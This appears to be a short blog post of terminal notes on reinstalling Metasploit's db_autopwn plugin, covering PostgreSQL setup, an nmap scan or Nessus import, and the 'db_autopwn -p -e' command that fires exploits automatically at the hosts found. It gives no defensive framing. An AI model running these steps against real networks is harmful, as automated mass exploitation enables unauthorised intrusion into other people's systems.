control – metasploit replace db_autopwn

Create new database if you need to install postgres read Create – postgresql

su postgres
sh-4.1$ createuser autopwn -P
could not change directory to “/root”
Enter password for new role:
Enter it again:
Shall the new role be a superuser? (y/n) n

sh-4.1$ createdb –owner=autopwn database22
could not change directory to “/root
exit

root@bt:~# /etc/init.d/postgresql-8.4 start

msfconsole

msf > db_driver postgresql
[*] Using database driver postgresql
msf > db_connect autopwn:toor@127.0.0.1:/database22

root@bt:~# /etc/init.d/postgresql-8.4 star

Copy file from https://raw.github.com/neinwechter/metasploit-framework/autopwn-modules/plugins/db_autopwn.rb
save as .rb
place in /root/.msf4/plugins

open up metasploit and type

msf > db_driver postgresql
[*] Using database driver postgresql
msf > db_connect autopwn:toor@127.0.0.1:/database3
msf > load db_autopwn

Use nmap

db_nmap 192.168.0.200

——————————————————-

OR if using with nessus

msf > db_import /root/nessus_report_192.168.1.2_25_01_2012.nessus

——————————————————-

db_autopwn -p -t (shows you what it thinks may work useful as a guide.

db_autopwn -p -e  (Script kiddie ahoy!)

Advertisements

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s